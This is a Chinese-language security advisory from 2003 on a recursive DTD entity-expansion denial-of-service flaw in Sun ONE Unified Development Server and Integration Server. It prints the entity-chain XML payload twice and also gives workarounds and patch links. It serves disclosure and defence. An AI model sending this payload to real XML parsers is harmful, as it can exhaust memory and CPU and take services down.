Sun ONE Unified Development Server递归文档类型定义漏洞
发布日期:2003-01-15
更新日期:2003-01-22
受影响系统:Sun ONE Integration Server EAI Edition 3.0
Sun ONE Unified Development Server 5.0
描述:
BUGTRAQ ID:
6626
Sun ONE是Sun公司推出的智能Web服务的软件组合系统,其中包含Sun ONE统一开发服务器。
Sun ONE统一开发服务器(UDS)在处理递归文档类型定义时存在问题,远程攻击者可以利用这个漏洞构建恶意文档,让Sun ONE UDS处理时,可消耗系统所有资源而产生拒绝服务。
非特权本地或者远程用户可以在DTDs("Document Type Definitions")使用特殊XML实体声明,当Sun ONE统一开发服务器提供的XML 1.0标准兼容解析器解析此文档时,可发生拒绝服务攻击。
任何UDS应用程序在从不可信资源接收到XML时,就可能导致此漏洞的攻击,这也包括Sun ONE集成服务器。
如下面的DTD包含一个递归定义实体"&x100;",任何XML 1.0标准兼容解析器将被扩展为2^100重复的"hello"字符串,这将消耗大量内存和CPU利用率,可导致系统产生拒绝服务:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foobar [
<!ENTITY x0 "hello">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
...
<!ENTITY x98 "&x97;&x97;">
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
<foobar>&x100;</foobar>
<*来源:Sun(sm) Alert Notification
链接:
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/49922
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
构建如下XML文档,当XML 1.0标准兼容解析器解析时可导致由于out-of-memory错误使分取停止工作或由于XML解析器消耗大量内存和CPU时间而产生拒绝服务。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foobar [
<!ENTITY x0 "hello">
<!ENTITY x1 "&x0;&x0;">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;">
<!ENTITY x4 "&x3;&x3;">
...
<!ENTITY x98 "&x97;&x97;">
<!ENTITY x99 "&x98;&x98;">
<!ENTITY x100 "&x99;&x99;">
]>
<foobar>&x100;</foobar>
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 预处理,检查和清除XML文档中的DTD信息。
* 采用fault-tolerant结构,指定XML只解析独立的分区部分,这些分区的解析失败将不影响其他分区操作。
厂商补丁:
Sun
---
Sun已经为此发布了一个安全公告(Sun-Alert-49922)以及相应补丁:
Sun-Alert-49922:XML DTD Entities can Cause Denial of Service on XML 1.0 Parsers, Including Those Supplied With Sun ONE Unified
链接:
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert/49922
Sun ONE Integration Server EAI Edition 3.0:
Sun ONE Unified Development Server 5.0:
Sun Upgrade ONE Unified Development Server 5.0.18
http://www.sun.com
联系Sun支持供应商代表以获得修正版本。
浏览次数:2983
严重程度:0(网友投票)